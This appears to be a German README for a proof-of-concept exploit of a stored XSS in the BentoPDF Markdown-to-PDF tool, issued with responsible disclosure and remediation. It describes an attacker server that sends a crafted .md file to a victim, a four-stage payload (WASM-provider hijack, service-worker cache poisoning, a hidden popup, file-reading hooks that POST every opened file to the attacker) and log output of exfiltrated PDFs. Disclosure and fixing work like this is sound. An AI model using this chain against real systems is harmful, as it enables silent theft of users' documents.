
Proof-of-Concept-Exploit für CVE-2026-41653, eine gespeicherte XSS-Schwachstelle in BentoPDF, die eine stille Datei-Exfiltration und die Übernahme der WASM-Lieferkette ermöglicht.
Entdeckt und gemeldet von: Astaruf
Vollständiger Bericht: https://nstsec.com/en/posts/bentopdf-xss-cve-2026-41653/
Upstream-Advisory: alam00000/bentopdf GHSA-Advisory
NVD-Eintrag: https://nvd.nist.gov/vuln/detail/CVE-2026-41653
BentoPDF ist eine selbst gehostete, browserbasierte PDF-Werkzeugsammlung (Komprimieren, Zusammenführen, Teilen, Drehen, Konvertieren, Markdown-zu-PDF usw.).
Das Markdown-zu-PDF-Werkzeug leitet benutzerbereitgestelltes Markdown durch markdown-it mit html: true und injiziert die gerenderte Ausgabe direkt über innerHTML ohne Sanitisierung in das DOM. Ein Angreifer, der eine präparierte .md-Datei ausliefert, erreicht die Ausführung beliebigen JavaScripts in der BentoPDF-Origin.
Da BentoPDF eine vollständig clientseitige Anwendung ist, laden und verarbeiten alle Werkzeuge (PDF komprimieren, PDF zusammenführen, PDF teilen usw.) Dateien direkt im Browser des Opfers. Ein einzelnes XSS reicht daher aus, um jedes Dokument, das das Opfer während der Sitzung in einem beliebigen Werkzeug öffnet, stillschweigend zu exfiltrieren.
Angreifer sendet report.md (enthält )
-> Opfer öffnet sie in Markdown-zu-PDF
-> markdown-it rendert rohes HTML (html: true)
-> preview.innerHTML = html (kein DOMPurify)
-> poc_payload.js wird vom Server des Angreifers geladen (kein CSP)
-> FileReader + <input type=file> app-weit eingehakt
-> verstecktes Popup injiziert Hooks bei jeder Werkzeug-Navigation erneut
-> jede Datei, die das Opfer öffnet, wird stillschweigend exfiltriert
localStorage['bentopdf:wasm-providers'] und leitet Downloads der WASM-Module von PyMuPDF, Ghostscript und cpdf auf einen vom Angreifer kontrollierten Host um.window.opener ab und injiziert Datei-Hooks bei jeder Navigation des Opfers zu einem anderen Werkzeug erneut, wodurch der Zugriff über die gesamte Sitzung aufrechterhalten wird.bentopdf-*-Cache, indem sie einen Exfiltrations-Hook an jede /assets/*.js-Datei anhängt, die dem Browser über die aktuelle Sitzung hinaus ausgeliefert wird.markdown-it (CWE-79)src/js/utils/markdown-editor.ts (Zeilen 271–272):
private mdOptions: MarkdownItOptions = {
html: true, // rohe HTML-Tags passieren den Markdown-Parser
breaks: false,
linkify: true,
typographer: true,
};
Tags wie ``, <svg>, <details> sowie alle Event-Handler-Attribute (onerror, onload, ontoggle) werden unverändert an das DOM weitergegeben.
innerHTML-Injektion (CWE-116)src/js/utils/markdown-editor.ts (Zeilen 689–694):
private updatePreview(): void {
if (!this.editor || !this.preview) return;
const markdown = this.editor.value;
const html = this.md.render(markdown);
this.preview.innerHTML = html; // vom Angreifer kontrolliertes HTML wird ins DOM injiziert
this.renderMermaidDiagrams();
}
Zwischen markdown-it und innerHTML wird keine Sanitisierungsbibliothek angewendet. Der Browser parst die injizierte Zeichenkette, trifft auf den Inline-Event-Handler und führt ihn sofort aus.
nginx.conf wird ohne Content-Security-Policy-Header ausgeliefert. Injiziertes JavaScript kann frei externe Skripte laden, fetch()-Anfragen an beliebige Hosts senden und Popup-Fenster öffnen. Eine restriktive CSP hätte selbst bei intaktem Sink die Stufe des Ladens externer Skripte verhindert.
# Starte den Angreifer-Server für die Exfiltration
python3 poc.py --lhost <DEINE_IP> --lport 9999
# poc.py wird:
# - die poc_report.md-Payload im aktuellen Verzeichnis erzeugen
# - auf Callbacks und exfiltrierte Dateien des Opfers lauschen
Sende poc_report.md an das Opfer und bitte es, die Datei in BentoPDF → Markdown-zu-PDF zu öffnen. Die Payload feuert in dem Moment, in dem die Vorschau gerendert wird, und alle Dateien, die das Opfer in Zukunft hochlädt, werden an den Server des Angreifers exfiltriert.
| Option | Standard | Beschreibung |
|---|---|---|
--lhost | erforderlich | IP, die vom Browser des Opfers erreichbar ist |
--lport | 9999 | Lauschport |
--loot-dir | ./loot/ | Verzeichnis, in dem exfiltrierte Dateien gespeichert werden |
--log-file | keine | Hängt alle Ereignisse an eine Datei an (ANSI-Codes entfernt) |
--no-color | aus | Deaktiviert ANSI-Farben in der Terminalausgabe |
1. Angreifer-Server mit --lhost und --lport gestartet. Die bösartige poc_report.md wird automatisch erzeugt.
$ python3 poc.py --lhost 127.0.0.1 --lport 9999
██████╗██╗ ██╗███████╗ ██╗ ██╗ ██╗ ██████╗ ███████╗ ██████╗
██╔════╝██║ ██║██╔════╝ ██║ ██║ ███║ ██╔════╝ ██╔════╝ ╚════██╗
██║ ██║ ██║█████╗ -2026- ███████║ ╚██║ ███████╗ ███████╗ █████╔╝
██║ ╚██╗ ██╔╝██╔══╝ ╚════██║ ██║ ██╔══██║ ╚════██║ ╚═══██╗
╚██████╗ ╚████╔╝ ███████╗ ██║ ██║ ╚██████║ ███████║ ██████╔╝
╚═════╝ ╚═══╝ ╚══════╝ ╚═╝ ╚═╝ ╚═════╝ ╚══════╝ ╚═════╝
BentoPDF <= 2.8.1 - Markdown-zu-PDF Stored XSS -> Datei-Exfiltration
PoC von Astaruf (https://nstsec.com)
========================================================================
Exfiltrations-Server: http://127.0.0.1:9999
Payload: http://127.0.0.1:9999/poc_payload.js
Loot-Verzeichnis: /home/kali/loot
========================================================================
Bösartige .md-Datei bereit: /home/kali/poc_report.md
Sende sie an das Opfer und bitte es, sie im Markdown-zu-PDF-Werkzeug zu öffnen.
Die Payload feuert, sobald die Vorschau gerendert wird.
========================================================================
Warte auf Opfer...
2. Das Opfer öffnet das Markdown-zu-PDF-Werkzeug in BentoPDF.

3. Das Opfer lädt poc_report.md. Die Vorschau wird gerendert, `` kann nicht geladen werden, onerror feuert. poc_payload.js wird ohne blockierendes CSP vom Server des Angreifers abgerufen.

4. Die Payload führt ihre vier Stufen aus: WASM-Provider-Hijacking über localStorage, Popup-Überwachung wird gestartet, FileReader- und Datei-Input-Hooks werden auf der aktuellen Seite installiert.

5. Das Opfer navigiert zu PDF komprimieren. Das Popup erkennt die Navigation und injiziert die Hooks erneut in die neue Seite.

6. Das Opfer lädt ein PDF. Das Werkzeug komprimiert es normal. Die Dateibytes wurden bereits per POST an den Server des Angreifers gesendet.

7. Ausgabe des Angreifer-Servers aus einem verifizierten Lauf:
[17:11:11] WASM-HIJACK { stage: 'wasm_hijack', victim: '.../markdown-to-pdf.html' }
[17:11:12] BEACON { page: '.../markdown-to-pdf.html' }
[17:11:55] BEACON { page: '.../index.html' }
[17:12:00] BEACON { page: '.../compress-pdf.html' }
[17:12:01] DATEI EXFILTRIERT Lorem_ipsum.pdf (23.7 KB) -> loot/171201_Lorem_ipsum.pdf
[17:13:57] BEACON { page: '.../merge-pdf.html' }
[17:13:58] DATEI EXFILTRIERT Lorem_ipsum.pdf (23.7 KB) -> loot/171358_Lorem_ipsum.pdf

8. Die exfiltrierte Datei öffnet sich als vollständiges, gültiges PDF, das mit dem Original identisch ist.

Die in poc.py eingebettete Payload führt vier Stufen nacheinander aus:
| Stufe | Was sie tut | Persistenzbereich |
|---|---|---|
| 1 | Überschreibt localStorage['bentopdf:wasm-providers'], um alle WASM-Modul-Downloads zum Angreifer umzuleiten | Über Browsersitzungen hinweg |
| 2 | Registriert /sw.js, listet /assets/*.js auf allen Werkzeugseiten auf, vergiftet den bentopdf-*-Service-Worker-Cache mit einem Exfil-Hook | Über die Browsersitzung hinaus (nur HTTPS) |
| 3 | Startet ein verstecktes 1×1-Popup, das window.opener.location.href abfragt und nach jeder Werkzeug-Navigation Datei-Hooks erneut injiziert | Solange der BentoPDF-Tab geöffnet ist |
| 4 | Hakt FileReader.prototype.readAsArrayBuffer und den change-Listener auf Dokumentebene ein: Jede Datei, die das Opfer berührt, wird per POST an den Server des Angreifers /file?name=<Dateiname> gesendet | Aktuelle Seite |
Ausgeliefert in BentoPDF v2.8.3. Der Entwickler hat die Codebasis über den ursprünglich gemeldeten Sink hinaus geprüft und mehrere verwandte Vektoren behoben:
innerHTML-Sinks in markdown-editor.ts angewendet, einschließlich des Mermaid-SVG-Pfads, der securityLevel: 'loose' verwendete und nachweislich den ersten Sanitiser umging.securityLevel: 'strict' und die SVG-Ausgabe wird mit dem SVG-Profil von DOMPurify erneut sanitisiert.file.name-XSS wird auf etwa 8 Werkzeugseiten (Deskew, Formularausfüller, Anmerkungen entfernen usw.) maskiert, wo Dateinamen zuvor unsanitisiert in HTML eingefügt wurden.localStorage['bentopdf:wasm-providers'] werden beim Laden verworfen.nginx.conf erzwungen, einschließlich Content-Security-Policy.Minimale Behebung für den ursprünglich gemeldeten Sink:
import DOMPurify from 'dompurify';
private updatePreview(): void {
if (!this.editor || !this.preview) return;
const markdown = this.editor.value;
const html = this.md.render(markdown);
this.preview.innerHTML = DOMPurify.sanitize(html);
}
CSP-Header in nginx.conf hinzugefügt:
add_header Content-Security-Policy "default-src 'self'; script-src 'self' blob:; connect-src 'self' https://cdn.jsdelivr.net; object-src 'none';" always;
| Datum | Ereignis |
|---|---|
| 2026-04-02 | Schwachstelle entdeckt |
| 2026-04-02 | Privat an den Maintainer gemeldet |
| 2026-04-17 | Maintainer bestätigt |
| 2026-04-17 | Fix im edge-Build veröffentlicht und erneut getestet |
| 2026-04-18 | v2.8.3 mit öffentlicher Nennung veröffentlicht |
| 2026-04-21 | GHSA-Advisory veröffentlicht |
| 2026-04-22 | CVE-2026-41653 zugewiesen |
Dieses Material wird ausschließlich für autorisierte Sicherheitstests und Bildungszwecke bereitgestellt. Verwende es nur gegen BentoPDF-Instanzen, die du besitzt oder für die du eine ausdrückliche schriftliche Testgenehmigung hast. Unbefugter Zugriff auf Computersysteme ist illegal. Der Autor übernimmt keine Haftung für Missbrauch.